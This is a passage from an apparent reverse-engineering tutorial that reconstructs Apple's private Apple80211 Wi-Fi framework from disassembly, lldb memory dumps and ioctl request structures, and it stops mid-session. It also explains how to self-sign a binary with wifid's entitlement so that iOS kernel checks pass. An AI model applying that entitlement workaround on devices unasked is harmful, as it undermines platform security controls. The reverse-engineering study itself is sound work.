/usr/libexec/wifid uses the private CoreWiFi.framework \- no surprise here,
since "Core _XXX_ " frameworks often get "Mobile _XXX_ " counterparts, and
vice versa.

### Requiescat in Pace, Apple80211

Moving things to wifid, whatever its location, is not just a nice practice of
centralizing functionality: It is imperative in order to enforce entitlements.
Simply put, entitlements are simple plists in Apple's deplorable XML grammar -
very similar to Android Manifest permissions. What makes them so strong,
however, is that the entitlements are embedded in the code signature, which
only Apple can generate. This means that a process has no access to its own
entitlements - which are stored deep in the kernel caches if and when the
signature gets validated. Server processes can then check their caller's
entitlements by using the `csops` properietary syscall \(\#169\), though the
Security.framework makes it easy to just get certain entitlements, post
CFDictionary serialization and all that stuff. Using `jtool`'s disassembler
\(ARM64 preferred\) you can see this easily, since
`SecTaskCopyValueForEntitlement` is one of the useful functions I had the tool
decompile.

[code]

    root@phontifex (~)# jtool -d __TEXT.__text /usr/sbin/wifid  | grep SecTaskCopy
       10002514c    BL     _SecTaskCopyValueForEntitlement  ; 0x1000b4208
    ;  R0 =  _SecTaskCopyValueForEntitlement(???,@"com.apple.wifi.manager-access");
    # And, our favorite client:
    root@phontifex (~)# jtool --ent /System/Library/CoreServices/SpringBoard.app/SpringBoard | grep wifi
            
        
         com.apple.wifi.manager-access
        
    
[/code]

\(that's a very high level view of a fascinating subject \(and there are dozens of entitlements but nonetheless captures the gist of it. MOXiI-2 will have loads more on this, in a well needed dedicated chapter on security. The `jtool -d | grep` trick is super useful for enumerating entitlements by servers, and `--ent` is like the `codesign(1)` option\). 
### Ex Favilla

No matter where the functionality for Wifi is packaged, under what name or
whatever - the _true_ functionality rests in the kernel.
`Apple80211.framework` is merely a user mode front end for the
`Apple80211Family.kext`, which your driver \(for whatever chipset, usually
BRCM\) is a subclass of. If one can deduce the kernel level calls, it's a
simple matter to recreate the framework, or drop it altogether in favor of a
direct interface. And that's what this part is all about.

The previous part caught the attention of @Comex, who correctly commented that
the 80211Family headers \(including some of the message formats for `ioctl(2)`
I'll discuss here\) are already available, from the old 10.5 SDKs or his own
\(might I add, stellar\) work. While it might defeat the purpose of
reversing/rebuilding something when \(partial\) code is available, what I'm
showing here does not rely on said headers or anything but the assembly,
really - and basically tears apart and re-builds `Apple80211.framework`, for
which no official headers exist. This also has the upside of being free from
any APSL,GPL,LPL or any other software license.

## Figuring out Apple80211 \(Reversing, round II\)

Reversing APIs \(Part I\) is the easy part of the job. Thanks to clear
assignment of arguments to registers \(and, > 4, the stack\) on both ARM and
Intel platforms, it's easy to determine the number of arguments a function
expects. The poison method \(0xdeadbeef and other nice hex values to known
arguments\) coupled with Apple's wonderful `CFGetTypeID()`\) helps detemine
their types with lldb, as was demonstrated.

Recreating the implementation, however, is far more difficult, and requires
more detailed knowledge of assembly, as well as overall system-programming
level knowledge \(for the underlying system calls which are often involved\).
`Apple80211` is fairly easy, however, as Apple chose to be more BSD-ish and
less Mach-ish in their implementation. Let's do this, function by function.
The reversing is pretty detailed, so here's a quick TOC:

Not handled here are:

[code]

    000000000001235c T _Apple80211ErrToStr
    0000000000001b55 T _Apple80211GetIfListCopy
    00000000000088ba T _Apple80211GetInfoCopy
    0000000000008860 T _Apple80211GetInterfaceNameCopy
    0000000000001fa1 T _Apple80211GetVirtualIfListCopy
    00000000000123ad T _Apple80211MaxLinkSpeed
    
[/code]

### Apple80211Open/Close

I've discussed the disassembly of both these functions in Part I, so it's easy
to construct the following pseudo-code for them, like so:

[code]

    /* We know the size if 0x50, since this gets malloc()ed.. */
    struct Apple80211 {  
     /* Fear not, all unknowns will be revealed */
     /* 0x00 */	uint32_t	socket;   // Used for ioctl() 
     /* 0x04 */     uint32_t	unknown1;  
     /* 0x08 */     uint32_t	unknown2;  
     /* 0x0C */     uint32_t	unknown3;  
     /* 0x10 */     uint32_t	unknown4;  
     /* 0x14 */     uint32_t	unknown5;  
     /* 0x18 */     uint32_t	unknown6;  
     /* 0x1C */     uint32_t	unknown7;  
     /* 0x20 */     uint64_t	used_for_monitoring1;   // 1ac9: cmpq    $0x0, 0x20(%rbx)
     /* 0x28 */     uint32_t	unknown8;  
     /* 0x2C */     uint32_t	unknown9;  
     /* 0x30 */     uint32_t	unknown10;  
     /* 0x34 */     uint32_t	unknown11;  
     /* 0x38 */     uint32_t	unknown12;  
     /* 0x3C */     uint32_t	unknown13; 
     /* 0x40 */     uint32_t	unknown14;  
     /* 0x44 */     uint32_t	unknown15;  
     /* 0x48 */     uint64_t	used_for_monitoring2;  // 1ad0: cmpq    $0x0, 0x48(%rbx)
    
    };
    typedef struct Apple80211 *Apple80211Ref;
    
    
    int Apple80211Open (Apple80211Ref *Handle)
    {
            if (!Handle) return (0xFFFFF0C4);   // = error in args
    
            Apple80211Ref returned = malloc(80);
            if (!returned) return (0xfffff0c3); // =  internal error
            memset (returned, '\0', 80);
            returned->socket = socket (AF_INET, SOCK_DGRAM, 0);
            if (returned->socket < 0) return (0xfffff0c3); // = internal error
            *Handle = returned;
            return (0);
    } //Apple80211Open
    
    int Apple80211Close(Apple80211Ref  Handle)
    {
            if (!Handle) return (0xFFFFF0C4);   // = error in args
            close (Handle->socket);
            if (Handle->used_for_monitoring1 || Handle->used_for_monitoring2)
                    Apple80211EventMonitoringHalt(Handle);
            free(Handle);
    
            return (0);
    } // Apple80211Close
    
    
[/code]

So, we have Open and close, to the letter. We may still not know the
difference between the two monitoring fields, but we're not done yet.

### Apple80211BindToInterface

This function is a bit longer. We have the prototype calling for the handle
and a dictionary. From the partial reversing we did, we have the listing
below.

[code]

    int Apple80211BindToInterface(Apple80211Ref handle, CFStringRef interface)
    {
       CFArrayRef somevar; // at -0x78(%rbp) - at this point we don't know its type
       anothervar; // at -0x40(%rbp) - at this point we don't know its type
    
     /* 2179: */ if (!handle) return (0xFFFFF0C4);
     /* 2182: */ if (!interface) return (0xFFFFF0C4);
     /* 218d: */ if (!handle->socket) return (0xFFFFF0C4);
    
     /* 2195: */ if(_getIfListCopy(handle, &somevar)
    	{
     /* 21a5: */
     /* 21a5: */  ifaceCount = CFArrayGetCount(somevar);
    	      int ifaceFound = CFArrayContainsValue (somevar, 0, ifaceCount, InterfaceName ); 
    	      CFRelease(somevar);
    	      if (!ifaceFound)  goto 0x2268; // exit with error
    		
    	      
    
    	};
    
      
     /* 21d6 */ char buffer[16]; // -0x40(%rbp)
    	    bool rc = CFStringGetCString (InterfaceName, // CFStringRef theString, 
    			    buffer,        //  char *buffer, 
    			    16, // CFIndex bufferSize, 
    			    0x8000100);     // CFStringEncoding encoding ); 
      /* 21ec */ if (rc) goto 0x2268; // exit with error
    	
      /* 21f0 */ if (handle->used_for_monitoring1) { Apple80211EventMonitoringHalt(handle); }
      /* 21ff */ strcpy (handle->unknown1, buffer)
    
    	
    		
    
    	
    
    }
    
[/code]

We still don't know what \_getIfListCopy does, but we see it gets two
arguments. handle, and the address of some variable. We also see it returns a
0/non-zero return value. Looking deeper around 21a5, however, we can deduce
that argument is a CFArray, since ` _CFArrayGetCount` and
`CFArrayContainsValue()` are both called on it. This means that a better name
for it would be, say, ifaceList - toggle the above to see.

Looking at 21d6 \(after the if\), we see that a call to `CFStringGetCString`
retrieves the C-String representation of the interface name. This is followed
by a call to `strcpy()`. While generally a bad practice \(all it takes is an
'n'\), this is safe this time, since the GetString was constrainted by 16
bytes. 16 bytes is also the max for IFNAMSIZ, which means that our 'unknown1'
through 'unknown4' are the interface name, in ASCII. That's four unknowns
down.

Continuing with the disassembly we have:

**_Listing .._** : Disassembly of `Apple80211BindToInterface` \(cont\)

[code]

    ; Use XMM register for faster memset (an optimization)
    000000000000220f        xorps   %xmm0, %xmm0
    0000000000002212        movaps  %xmm0, -0x60(%rbp)
    0000000000002216        movaps  %xmm0, -0x70(%rbp)
    000000000000221a        movq    $0x0, -0x50(%rbp)
    0000000000002222        leaq    0x38(%rbx), %r12      ; Get address of handle + 0x38 to r12
    0000000000002226        movq    $0x0, 0x38(%rbx)      ; and set it to 0
    000000000000222e        leaq    -0x70(%rbp), %r15     ; r15 = rbp-70
    0000000000002232        movl    $0x28, %edx           ; rdx = arg3 = 0x28
    0000000000002237        movq    %r15, %rdi            ; rdi = arg1 = bp-0x70
    000000000000223a        movq    %r14, %rsi            ; rsi = arg2 = r14 (handle->ifName)
    000000000000223d        callq   0x1e4cc                 ## symbol stub for: ___strcpy_chk
    ; strcpy_chk (bp-0x70, handle->ifName, 0x28);
    0000000000002242        movl    $0xc, -0x60(%rbp)     ; rbp-0x60 = 12
    0000000000002249        movq    %r12, -0x50(%rbp)     ; rbp-0x50 = address of handle + 0x38
    000000000000224d        movl    $0x8, -0x58(%rbp)     ; rbp-0x58 = 8
    0000000000002254        movl    (%rbx), %edi          ; rdi = arg1 = *handle = handle->socket
    0000000000002256        movl    $0xc02869c9, %esi     ## imm = 0xC02869C9 ; that's arg2
    000000000000225b        xorl    %eax, %eax	      ; rax = 0 
    000000000000225d        movq    %r15, %rdx 	      ; rdx = arg3 = r15 (=rbp-0x70)
    0000000000002260        callq   0x1e526                ## symbol stub for: _ioctl
    ; rc = ioctl (handle->socket, $0xc02869c9,  rbp - 0x70
    0000000000002265        movl    %eax, %r14d	      ; save rc of ioctl to r14d
    ; This is the boilerplate stack smash protection check
    0000000000002268        movq    (%r13), %rax	      ; rax = *(r13) = ..
    000000000000226c        cmpq    -0x30(%rbp), %rax     ; compare to rbp-0x30
    0000000000002270        jne     0x2284		      ; if not, goto 0x2284
    ; and prolog
    0000000000002272        movl    %r14d, %eax	      ; stack safe: return the ioctl rc
    0000000000002275        addq    $0x58, %rsp	      ; clear stack
    0000000000002279        popq    %rbx		      ; epilog
    000000000000227a        popq    %r12
    000000000000227c        popq    %r13
    000000000000227e        popq    %r14
    0000000000002280        popq    %r15
    0000000000002282        popq    %rbp
    0000000000002283        retq
    0000000000002284        callq   0x1e4c0                 ## symbol stub for: ___stack_chk_fail
    _Apple80211Get: ...
    
[/code]

So, what do we have here? An `ioctl(2)` call, over the socket, with a code of
`0xc02869c9`, and a third argument, which is a buffer, which looks like this
\(remember the stack grows downwards, memory grows upwards\):

[code]

    bp-0x50  handle + 0x38  &(handle->unknown12)
    bp-0x58  8
    bp-0x5c  0
    bp-0x60  12            
    bp-0x70  handle->ifName; (16 bytes)
    
[/code]

\(you can easily corroborate this by lldb:

[code]

    (lldb) bt
    # Note that __getIfListCopy() uses ioctl, so the breakpoint will fire several times. A better 
    # approach is to set a breakpoint *before* the ioctl inside Apple80211, but you'll have to account for ASLR (address
    # shift). So either that, or 'c' several times, till you see this: 
    * thread #1: tid = 0x7f0ae, 0x00007fff90d1c918 libsystem_kernel.dylib`ioctl, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
      * frame #0: 0x00007fff90d1c918 libsystem_kernel.dylib`ioctl
        frame #1: 0x00007fff8f3e5265 Apple80211`Apple80211BindToInterface + 280
        frame #2: 0x0000000100000d46 80211`init + 134 at 80211.c:19
        frame #3: 0x0000000100000b4b 80211`main(argc=1, argv=0x00007fff5fbffb98) + 27 at 80211.c:86
        frame #4: 0x00007fff90ede5c9 libdyld.dylib`start + 1
    (lldb) reg read rdi rsi rdx rbp
         rdi = 0x0000000000000003 # Our socket
         rsi = 0x00000000c02869c9 # The code
         rdx = 0x00007fff5fbffa70 # The buffer (bp - 0x70)
         rbp = 0x00007fff5fbffae0 # just to verify
    
    # And, as can be expected: (pay no attention to that stack based address at the end)
    (lldb) mem read $rdx
    0x7fff5fbffa70: 65 6e 30 00 00 00 00 00 00 00 00 00 00 00 00 00  en0............. # ifName
    0x7fff5fbffa80: 0c 00 00 00|00 00 00 00|08 00 00 00|00 00 00 00  ................
    0x7fff5fbffa90: a8 17 11 00 01 00 00 00|90 f9 bf 5f ff 7f 00 00  ?........??_?...
    		0x01001117a8 (on heap) | rbp-0x40 (ifArray)
    
[/code]

In other words, we have some type of `ioctl(2)` code, and a request structure.
This `ioctl(2)` ends up appearing all over the place, which means it's generic
multiplexer, and one of the numbers \(12 or 8\) is a request code. That '8'
seems to be a length, which would make 12 the more likely request type, and
that pointer from our heap \(which is part of the handle\) is the data. This
makes sense when we remember that the `ioctl(2)` could be coming from a 32-bit
or 64-bit process. So:

[code]

    struct apple80211_ioctl_str {
        char ifname[16];     /* 0x00 */
        uint32_t  type;      /* 0x10 */
        uint32_t  unknown;   /* 0x14 */
        uint32_t  length;    /* 0x18 */
        uint32_t  unknown;   /* 0x1b */ // likely for alignment of *data
        void     *data;      /* 0x20 */
    
[/code]

As for that ugly 0xc02869c9 - well, the way codes are constructed is we have a
set of macros, \_IOW, or \_IOWR - for a write or read-write operation, defined
in <sys/ioccom.h> as follows:

[code]

    #define     _IOW(g,n,t)     _IOC(IOC_IN,    (g), (n), sizeof(t))
    #define     _IOWR(g,n,t)    _IOC(IOC_INOUT, (g), (n), sizeof(t))
    
[/code]

This makes OS X `ioctl(2)` codes similar in some ways to Windows', and
different from Linux: The code encodes in it the sizeof the argument, as well
as a subsystem \(g\) and the request code \(n\). We know the sizeof\(struct
apple80211\_ioctl\_str\) = 0x28. That means the 0x69 is 'i', and 'g' is 201
\(0xc9\). In other words,

[code]

    #include <sys/ioccom.h>
    
    typedef unsigned int uint32_t;
    struct apple80211_ioctl_str {
        char ifname[16];
        uint32_t  type;
        uint32_t  unknown;
        uint32_t  length;
        void     *data;
    };
    
    **#define APPLE80211_IOC_CODE_GET _IOWR('i', 201, struct apple80211_ioctl_str)**
    // we encounter this later:
    **#define APPLE80211_IOC_CODE_SET _IOW('i', 200, struct apple80211_ioctl_str)** // 0x802869c8
    
[/code]

So we have `Apple80211BindToInterface()` figured out:

[code]

    _getIfListCopy(Apple80211Ref Handle, CFArrayRef *ListAsArray)
    {
    	// Still don't know how to implement that (hint: ioctl(2)...)
    	// but we can actually just return 0 here since either way 
    	// the binding will be checked later.
    
    } // __getIfListCopy
    
    int Apple80211BindToInterface(Apple80211Ref Handle, CFStringRef Interface)
    {
      CFArrayRef ifaceList;
    
     /* 2179: */ if (!Handle) return (0xFFFFF0C4);
     /* 2182: */ if (!Interface) return (0xFFFFF0C4);
     /* 218d: */ if (!Handle->socket) return (0xFFFFF0C4);
    
     /* 2195: */ if(_getIfListCopy(Handle, &ifaceList))
            {
     /* 21a5: */  int ifaceCount = CFArrayGetCount(ifaceList);
    
                  int ifaceFound = CFArrayContainsValue (ifaceList, CFRangeMake(0, ifaceCount), Interface );
                  CFRelease(ifaceList);
                  if (!ifaceFound)  goto exit;
    
    
            };
    
                    int rc = 0xbadbad; // some error code. Who cares
     /* 21d6 */ char buffer[16]; // -0x40(%rbp)
                rc = CFStringGetCString (Interface, // CFStringRef theString,
                                buffer,        //  char *buffer,
                                16, // CFIndex bufferSize,
                                0x8000100);     // CFStringEncoding encoding );
    
      /* 21ec */ if (!rc) goto exit;
    
      /* 21f0 */ if (Handle->used_for_monitoring1) { Apple80211EventMonitoringHalt(Handle); }
      /* 21ff */ strcpy (Handle->interfaceName, buffer);
    
                    struct apple80211_ioctl_str ioc;
                    memset(&ioc, '\0', sizeof(ioc));
                    strcpy(ioc.ifname, Handle->interfaceName);
                    ioc.type   = 12;  // Bind
                    ioc.length = 8;
                    ioc.data   = &Handle->ioctl_binding; // formerly unknown12
    
                 rc = ioctl (Handle->socket,
                                 APPLE80211_IOC_CODE_GET, // i.e. 0xc02869c9
                                 &ioc);
    
                                 
     exit:
                 return (rc);
    
    }
    
[/code]

### Interlude: is this thing working?

At this point is that we can use a simple main\(\) to verify we got things
working \(i.e. the `ioctl(2)` is good\), by adding it to the library code
\(that is, the listings above\):

[code]

    // To compile -framework CoreFoundation. You won't need the *actual* Apple80211.
    #include "80211.h" // or whatever you call the header
    int main(int argc, char **argv)
    {
    
        Apple80211Ref handle;
        int rc = Apple80211Open(&handle);
        if (rc) { fprintf(stderr, "Apple80211Open failed..\n"); exit(rc); }
    
        printf("Handle: %p\n", handle);
    
        CFStringRef ifName = CFStringCreateWithCString(kCFAllocatorDefault, "en0",
                                             kCFStringEncodingISOLatin1);
        rc = Apple80211BindToInterface(handle, ifName);
            
        if (rc) { fprintf(stderr, "Apple80211BindToInterface failed..\n"); }
    
        return (rc);
    
    }
    
    
[/code]

This will compile and run neatly in OS X, and will compile for iOS - but
`Apple80211BindToInterface` will \(in iOS 8 and later\) fail , as a result of
the `ioctl(2)` failing \(with `errno/perror(2)` reporting -
ENOTSUPP/"Operation not supported on socket"\). This can be fixed by granting
us the same entitlements that /usr/sbin/wifid itself possesses. Specifically,
the following:

[code]

    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
    	<key>**com.apple.wlan.authentication** </key>
    	<true/>
    </dict>
    </plist>
    
[/code]

Because IO80211Family.kext now \(kernels greater than 2423.3.12, which is last
I checked that worked\) checks for this entitlement _in kernel mode_ , through
that despicable AMFI\* . Everything I'm showing in this article won't fly with
the App Store anyway.. So you can use `ldid -S` or `jtool`'s nifty new `--sign
self` option \(in v0.9\) to self sign and bundle the entitlements.

Ok. So now, back to the functions:

### Apple80211\[Get/Set\]Power\(\)

The Power get/setters had a really simple interface, as shown in Part I. But
what of their implementation? Look at `Apple80211GetPower()` first:

[code]

    ; standard prolog..
    ;
    0000000000008caa        subq    $0x18, %rsp           ; Stack: 0x18 = 24 bytes.
    0000000000008cae        movq    %rsi, %rbx            ; rbx saves arg2
    0000000000008cb1        xorl    %r14d, %r14d          ; r14 is 0
    0000000000008cb4        leaq    -0x30(%rbp), %rcx     ; rcx (arg3) is addr of some local, say "var"
    0000000000008cb8        movl    $0x13, %esi           ; esi (arg2, 32-bit) is set to 0x13
    0000000000008cbd        xorl    %edx, %edx            ; edx (arg4, 32-bit) is 0
    0000000000008cbf        callq   _Apple80211CopyValue  ;
    ; int rc = Apple80211CopyValue (Handle, (uint32_t) 0x13, 0, &var);
    0000000000008cc4        movl    %eax, %r15d           ; r15 = rc
    0000000000008cc7        testl   %r15d, %r15d          ; if (!rc) goto exit (return 0)
    0000000000008cca        jne     0x8d39
    0000000000008ccc        movq    -0x30(%rbp), %rdi
    0000000000008cd0        testq   %rdi, %rdi            ; if (var == 0) goto exit (return 0)
    0000000000008cd3        je      0x8d39 
    0000000000008cd5        movq    %rbx, -0x40(%rbp)     ; -0x40(rbp) = Handle;
    0000000000008cd9        callq   0x1e39a                 ## symbol stub for: _CFArrayGetCount
    ; At this point we know our var @ -0x30(%rbp) is a CFArrayRef, 
    ;  CFIndex r12 = CFArrayGetCount (CFArrayRef var ); 
    0000000000008cde        movq    %rax, %r12
    0000000000008ce1        movq    -0x30(%rbp), %rdi      ; rdi holds the array
    0000000000008ce5        testl   %r12d, %r12d           ; Check if CFArrayGetCount is negative
    0000000000008ce8        jle     0x8d2d                 ; if it is, goto exit_but_release_first
    0000000000008cea        xorl    %ebx, %ebx             ; ebx = 0
    0000000000008cec        leaq    -0x34(%rbp), %r13      ; r13 = CFArray + 4
    loop:
    0000000000008cf0        movq    %rbx, %rsi             ; rsi = 0
    0000000000008cf3        callq   0x1e3a0                 ## symbol stub for: _CFArrayGetValueAtIndex
    
    ; rax = CFArrayGetValueAtIndex (CFArrayRef var, 0);
    0000000000008cf8        testq   %rax, %rax
    0000000000008cfb        je      0x8d17                 ; if (rax == 0) goto no_value_at_index_0_so_return_r14d_0
    0000000000008cfd        movl    $0x3, %esi
    0000000000008d02        movq    %rax, %rdi
    0000000000008d05        movq    %r13, %rdx
    ; CFNumberGetValue (    rax,         // CFNumberRef number,  
                            0x3,         //CFNumberType theType, 
    	                -0x34(%rbp)) // void *valuePtr );
    0000000000008d08        callq   0x1e412                 ## symbol stub for: _CFNumberGetValue
    0000000000008d0d        cmpl    $0x0, -0x34(%rbp)
    0000000000008d11        setne   %r14b			; sets r14 to 1 if ZF is clear, ie -0x34(%rbp) is not 0
    0000000000008d15        jmp     0x8d1a 			;  past_r14d
    no_value_at_index_0_so_return_r14d_0
    0000000000008d17        xorl    %r14d, %r14d
    _past_r14d:
    0000000000008d1a        incq    %rbx
    0000000000008d1d        movq    -0x30(%rbp), %rdi
    0000000000008d21        cmpl    %r12d, %ebx    ; r12d is the CFArrayGetCount
    0000000000008d24        jge     out            ; 0x8d30
    0000000000008d26        testb   %r14b, %r14b   ; if (r14 == 0) goto loop
    0000000000008d29        je      loop;
    0000000000008d2b        jmp     out            ; 0x8d30
    exit_but_release_first:
    0000000000008d2d        xorl    %r14d, %r14d
    out:
    0000000000008d30        callq   0x1e418                 ## symbol stub for: _CFRelease
    0000000000008d35        movq    -0x40(%rbp), %rbx
    exit:
    0000000000008d39        movb    %r14b, (%rbx)
    0000000000008d3c        movl    %r15d, %eax
    ; Standard epilog 
    ; ..
    0000000000008d4d        retq
    
[/code]

So, a bit of a spaghetti loop here, but still simple enough: we call
Apple80211CopyValue\(\), on value type 0x13 \(apparently, power\), and it
returns a CFArray of CFNumbers \(confound this @$\#%$\#$\# NeXTStep
programming model\!\!\!\).

[code]

    int Apple80211GetPower(Apple80211Ref Handle,
                           uint32_t      *Power)
    {
    
      CFArrayRef arrayOfValues;
    
      int rc = Apple80211CopyValue (Handle, (uint32_t) 0x13, (uint32_t) 0, &arrayOfValues);
      if (!arrayOfValues) { fprintf(stderr,"Apple80211CopyValue(..0x13..) failed\n"); exit(1);}
    
      // The real one loops to iterate over values, since there's more than one radio.. 
      // Keeping it simple - let's just take the first one
    
      CFIndex count = CFArrayGetCount (arrayOfValues);
    
      CFNumberRef num = CFArrayGetValueAtIndex (arrayOfValues, 0);
      CFNumberGetValue (    num,         // CFNumberRef number,
                            0x3,         //CFNumberType theType,
                            Power); // void *valuePtr );
      return (0);
    } // end Apple80211GetPower
    
    
    
[/code]

Problem: We don't have Apple80211CopyValue\(\) figured out. I left that as a
@TODO.. So, here it comes. But before that, a tip:

At any time, if you're piecing the functions yourself, you can call on the
real Apple80211.framework functions, by simply defining their prototype, but
not implementing them. If you do, compiling with `-F
/System/Library/PrivateFrameworks -f Apple80211` \(on Mac\) will automatically
link the unimplemented ones with the framework, while those in a closer scope
\(i.e. those you've implemented and linked with\) will override the framework
implementations. This is super useful for validating that you're not making a
mistake in any given function, which will cascade into a multitude of bugs and
unexplained crashes later

### Apple80211CopyValue\(\)

The prototype for `Apple80211CopyValue()` is straightforward, given the above.
The value is some int - and 0x13 is apparently power. `otool` has problems
finding the function because of some bad opcodes a little bit before its
address \(07f1c\) but the i386 disassembly works:

[code]

    _Apple80211CopyValue:
    ; Standard prolog..
    00009870        pushl   %ebp
    00009871        movl    %esp, %ebp
    00009873        pushl   %ebx
    00009874        pushl   %edi
    00009875        pushl   %esi
    00009876        subl    $0x11c, %esp            ## imm = 0x11C
    0000987c        calll   0x9881
    00009881        popl    %esi
    00009882        movl    0x8(%ebp), %edi        ; edi = arg3 (remember, 32-bit)
    00009885        movl    0x1b797(%esi), %edx
    0000988b        movl    (%edx), %eax      
    0000988d        movl    %eax, -0x10(%ebp)
    00009890        movl    $0xfffff0c4, %ecx       ## imm = 0xFFFFF0C4
    ; Sanity checks:
    00009895        testl   %edi, %edi
    00009897        je      error; ...0xa052
    0000989d        cmpl    $0x0, (%edi)
    000098a0        js      error; ... 0xa052
    000098a6        cmpb    $0x0, 0x4(%edi)
    000098aa        je      error; .. 0xa052
    000098b0        cmpl    $0x0, 0x14(%ebp)
    000098b4        je      error; ... 0xa052
    ;
    ; Wow. We're still here.. so:
    000098ba        movl    %esi, -0xec(%ebp)
    000098c0        movl    %edx, %edi
    000098c2        movl    0xc(%ebp), %ebx
    000098c5        movl    0x8(%ebp), %eax
    000098c8        leal    0x4(%eax), %eax
    ; optimized memset of -0x38(%ebp) through -0x18(%ebp) - the ioctl struct
    000098cb        xorps   %xmm0, %xmm0
    000098ce        movaps  %xmm0, -0x28(%ebp)
    000098d2        movaps  %xmm0, -0x38(%ebp)
    000098d6        movl    $0x0, -0x18(%ebp)
    000098dd        movl    %eax, 0x4(%esp)
    000098e1        leal    -0x38(%ebp), %esi   ; get ioctl struct to esi
    000098e4        movl    %esi, (%esp)        ; arg1 = ioctl struct
    000098e7        movl    $0x24, 0x8(%esp)    ; 0x24 bytes
    ; strcpy_chk (ioc.ifName, handle->interfaceName, 0x24);
    000098ef        calll   0x216da                 ## symbol stub for: ___strcpy_chk
    ;
    000098f4        movl    %ebx, %eax
    000098f6        movl    %eax, -0x28(%ebp)
    000098f9        cmpl    $0xde, %eax
    000098fe        jg      0x99a5
    00009904        cmpl    $0xb6, %eax
    00009909        movl    %edi, %edx
    0000990b        jg      0x9a61
    00009911        leal    0x1(%eax), %eax
    00009914        cmpl    $0x62, %eax
    00009917        ja      0xa04d
    0000991d        movl    $0xfffff0c2, %ecx       ## imm = 0xFFFFF0C2
    00009922        movl    -0xec(%ebp), %edi
    00009928        movl    0x967(%edi,%eax,4), %eax
    0000992f        addl    %edi, %eax
    00009931        jmpl    *%eax
    00009933        movl    %edx, %edi 
    
    00009935        movl    0x8(%ebp), %eax        ; get the Handle into eax
    00009938        movl    (%eax), %eax           ; get the socket into eax
    0000993a        movl    %esi, 0x8(%esp)        
    0000993e        movl    %eax, (%esp)
    00009941        movl    $0xc02469c9, 0x4(%esp)  ## imm = 0xC02469C9
    00009949        calll   0x21734                 ## symbol stub for: _ioctl
    ;ioctl (eax, 
            0xc02469c9,
    	esi)
    ;... error handling and CF* crap
    
[/code]

The function might look intimidating, until you realize that A\) most of it is
stuff we've seen before and B\) the rest is just casting the results to a
`CFArray` of `CFDictionary` or `CFNumber`s. Really, all we care about at this
point is our `ioctl(2)` \- same code \(so that's good\), and we just have to
figure out the struct. Then there's a shortcut: lldb:

[code]

    # break on GetPower first, so as not to get all the GetIfList ioctl(2)..
    (lldb) b Apple80211GetPower
    Breakpoint 1: 2 locations.
    (lldb) r
    Process 6199 launched: './80211test' (x86_64)
    Handle: 0x1002009e0
    ..
    Apple80211`Apple80211GetPower:
    -> 0x7fff8f3ebc9d:  pushq  %rbp
    (lldb) breakpoint set -n Apple80211CopyValue
    Breakpoint 2: 3 locations.
    ..
    Apple80211`Apple80211CopyValue:
    -> 0x7fff8f3eaf1c:  pushq  %rbp
    (lldb) reg read rdi rsi rdx rcx rbp
         rdi = 0x00000001002009e0   ; Handle
         rsi = 0x0000000000000013   ; The value to copy
         rdx = 0x0000000000000000   ; 0
         rcx = 0x00007fff5fbffaf0   ; The address to copy to
         rbp = 0x00007fff5fbffb20   ; just for ref..
    (lldb) breakpoint set -n ioctl
    Breakpoint 3: where = libsystem_kernel.dylib`ioctl, address = 0x00007fff90d1c918
    (lldb) c
    ..
    libsystem_kernel.dylib`ioctl:
    -> 0x7fff90d1c918:  pushq  %rbp
    (lldb) reg read rdi rsi rdx rbp
         rdi = 0x0000000000000003   ; the socket
         rsi = 0x00000000c02869c9   ; the code
         rdx = 0x00007fff5fbff900   ; the struct
         rbp = 0x00007fff5fbff960
    (lldb) mem read $rdx
    0x7fff5fbff900: 65 6e 30 00 00 00 00 00 00 00 00 00 00 00 00 00  en0............. # interfaceName
    0x7fff5fbff910: 13 00 00 00 00 00 00 00 18 00 00 00 00 00 00 00  ................ # type....len.....
    0x7fff5fbff920: c8 4b bf 5f ff 7f 00 00 00 00 00 00 00 00 00 00  ?K?_?........... #0x7fff5fbf4bc8
    # Let the ioctl(2) return..
    (lldb) thread step-out
    Apple80211`Apple80211Get + 1965:
    -> 0x7fff8f3e5a36:  testl  %eax, %eax
    (lldb) reg read rax
         rax = 0x0000000000000000  # Success...
    (lldb) mem read 0x00007fff5fbff900  structure (unchanged)
    0x7fff5fbff900: 65 6e 30 00 00 00 00 00 00 00 00 00 00 00 00 00  en0.............
    0x7fff5fbff910: 13 00 00 00 00 00 00 00 18 00 00 00 00 00 00 00  ................
    0x7fff5fbff920: c8 4b bf 5f ff 7f 00 00 00 00 00 00 00 00 00 00  ?K?_?...........
    (lldb) mem read 0x7fff5fbf4bc8 memory location
    0x7fff5fbf4bc8: 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00  ................
    0x7fff5fbf4bd8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
                    version     | # radios |  power[0] |  power[1] |
    If power is on:
    0x7fff5fbf4bc8: 01 00 00 00 02 00 00 00 01 00 00 00 01 00 00 00  ................
    
    
[/code]

Much easier, and makes more sense than pursuing decompilation. Doing the same
on `Apple80211SetPower` reveals a call to `Apple80211Set` \(the more generic
version\) , and this:

[code]

    (lldb) bt
    * thread #1: tid = 0x867e5, 0x00007fff90d1c918 libsystem_kernel.dylib`ioctl, queue = 'com.apple.main-thread', stop reason = breakpoint 4.1
      * frame #0: 0x00007fff90d1c918 libsystem_kernel.dylib`ioctl
        frame #1: 0x00007fff8f3ee128 Apple80211`Apple80211Set + 8916
        frame #2: 0x00007fff8f3ebe37 Apple80211`Apple80211SetPower + 233
        frame #3: 0x0000000100000ca4 80211test`main + 84
        frame #4: 0x00007fff90ede5c9 libdyld.dylib`start + 1
    (lldb) reg read rdi rsi rcx rdx 
         rdi = 0x0000000000000003
         rsi = 0x00000000802869c8 # Note 8, not 9!
         rcx = 0x10007003ad634955
         rdx = 0x00007fff5fbffa50
    (lldb) mem read $rdx
    0x7fff5fbffa50: 65 6e 30 00 00 00 00 00 00 00 00 00 00 00 00 00  en0.............
    0x7fff5fbffa60: 13 00 00 00 00 00 00 00 18 00 00 00 00 00 00 00  ................
    0x7fff5fbffa70: 78 eb bf 5f ff 7f 00 00 d8 4f 62 7e ff 7f 00 00  x?_?...?Ob~?...
    # Inspect the buffer
    (lldb) mem read 0x7fff5fbfeb78
    0x7fff5fbfeb78: 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00  ................
                    version     | # radios |  power[0] |  power[1] |
